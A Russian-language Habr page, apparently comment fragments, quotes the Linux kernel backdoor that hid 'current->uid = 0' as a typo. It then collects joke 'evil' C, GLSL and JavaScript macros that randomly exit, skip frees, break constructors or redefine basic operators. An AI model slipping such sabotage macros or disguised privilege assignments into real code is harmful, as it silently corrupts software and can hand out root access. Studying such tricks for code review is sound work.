Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
«Бэкдор был замаскирован под простую опечатку — вместо == стояло =. Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код current->uid = 0, то есть давала программе права суперпользователя.»
0 == current->uidВо избежание человеческого фактора. Да, снижается читаемость. Также, статический анализ кода во все поля поможет выявить потенциальную угрозу…
Примечательно, что, например, в C# упразднили возможность присваиваний в логических выражениях, и ведь не спроста же?
bool x;
if(x=File.Exists("tmp.dat")){ ... }
#define return if(random()>0.99)exit(0);else return
['String', 'Array', 'Object', 'Date', 'Boolean', 'Number', 'Function'].forEach(function(cls){
var original = window[cls];
window[cls] = function(a,b,c,d,e,f,g,h,i,j,k,l,m){
if(Math.random() > 0.1)
return new original(a,b,c,d,e,f,g,h,i,j,k,l,m);
};
});
#define abs(x) (-(x))
#define discard ;
#define highp lowp
#define mediump lowp
#define mix smoothstep
#define reflect(i, n) refract(i, n, 0.5)
#define sin cos
#define smooth flat
#define texture2D(s, p) texture2D(s, p, 2.0)
#define define undef
#define free(x) if(strncmp(__DATE__, "Apr 1", 6) != 0) free(x)
#define volatile
в сочетании с агрессивной оптимизацией вроде -O2. #define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
#ifndef DEBUG
// evil code here
#ednif
Файл, который нужно закоммитить перед уходом с работы